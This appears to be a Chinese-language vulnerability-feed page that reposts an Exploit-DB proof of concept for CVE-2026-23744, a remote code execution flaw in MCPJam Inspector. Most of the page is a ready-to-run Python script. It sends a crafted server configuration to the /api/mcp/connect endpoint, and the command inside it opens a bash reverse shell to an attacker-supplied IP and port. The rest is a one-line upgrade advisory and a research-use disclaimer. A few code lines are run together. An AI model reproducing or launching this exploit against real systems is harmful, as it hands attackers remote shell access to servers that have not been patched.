[webapps] MCPJam Inspector - Remote Code Execution

📋 漏洞基础信息

⚔️ 原始 PoC

# Exploit Author: Diamorphine


import asyncio
import httpx
import argparse
from urllib.parse import urljoin


async def main(attacker_ip,attacker_port,url):
    async with httpx.AsyncClient(verify=False) as client:
        data = {"serverConfig": {"command": "bash","args": ["-c",f"bash -i >&/dev/tcp/{attacker_ip}/{attacker_port}0>&1"],"env": {}},
"serverId": "Hello666"
        }ready_url = urljoin(url,"/api/mcp/connect")
        r = await client.post(url=ready_url,json=data)
        print(r.text)

parser = argparse.ArgumentParser(description="Exploit for CVE-2026-23744 MCPJam Inspector - Remote Code Execution")

parser.add_argument("-u","--url",required=True,help="Target host. e.g. http://127.0.0.1:8080")
parser.add_argument("-l",
"--lhost",required=True,help="Attacker ip")
parser.add_argument("-p","--lport",required=True,help="Attacker port")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.lhost,args.lport,args.url))

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-08-01 08:23 | 来源: Exploit-DB